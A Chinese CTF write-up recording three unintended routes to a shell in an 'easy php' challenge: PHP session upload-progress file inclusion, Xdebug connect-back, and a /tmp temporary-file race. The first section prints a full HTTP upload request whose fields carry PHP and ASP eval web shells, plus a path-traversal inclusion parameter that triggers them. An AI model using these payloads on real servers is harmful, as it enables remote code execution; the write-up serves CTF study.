前言
上篇文章中复现了官方的预期解法,这里单独将非预期
解法拿出来复现一遍并记录解题过程。非预期
解法有三种:
- 1、session.upload开启导致session包含漏洞
- 2、xdebug
- 3、/tmp/临时文件竞争
本来以为pull下的docker有easy php
的环境,但经过检查后却发现不满足条件,所以这篇文章主要起到备忘录
的作用,以供以后遇到满足的条件时方便查阅。
1、session.upload开启导致包含漏洞
session.upload_progress.enabled
这个参数在php.ini 默认开启
,需要手动置为Off
,如果不是Off,就会在上传的过程中生成上传进度文件,它的存储路径可以在phpinfo获取到1
/var/lib/php5/sess_{your_php_session_id}
但是从官方拉下来的源码中,发现这个
session.upload_progress.enabled
参数已经被关闭,所以这个解法就没法复现了。
所以这里只进行记录这个解法的流程。
首先构造一个这样的报文(from @berTrAM),不断的向服务端发送1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35POST / HTTP/1.1
Host: 47.52.246.175:23333
Proxy-Connection: keep-alive
Content-Length: 648
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?=`echo '<?php eval($_REQUEST[bertram])?>'>bertram.php`?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file2"; filename="1.php"
Content-Type: text/php
<?php eval($_POST[1]);?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file1"; filename="2.asp"
Content-Type: application/octet-stream
< %eval request("a")%>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundary2rwkUEtFdqhGMHqV--
服务器就会在/var/lib/php5/sess_5uu8r952rejihbg033m5mckb17
中记录这个上传的文件。接着我们不断刷新生成包含恶意php代码的文件,然后通过LFI包含这个文件1
action=../../../../../var/lib/php5/sess_5uu8r952rejihbg033m5mckb17
即可getshell
2、xdebug
要使用Xdebug
get shell,首先服务器要开启如下参数:
但pull下来的docker中,这个参数都不被满足,所以又只能记录利用方式,等以后碰到了方便查阅。
这里参照rr师傅的博客,首先我们先确定是否可以利用
xdebug
。
当 X-Forwarded-For 的
地址
(这里就是:ricterz.me)的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back。
再下面的操作就参照师傅的博客就行了,这里因为没有环境就不再照抄
了。
3、/tmp/临时文件竞争
要使用临时文件竞争
,phpinfo的环境要有如下配置:
但公开的docker还是不满足条件。。。
它大概的原理就是趁系统还没把临时文件删除之前将这个文件包含起来,从而getshell,通常系统的守护进行删除时隔很小,大概在2~3s,所以,我们要使用多线程上传,然后不断刷新包含文件。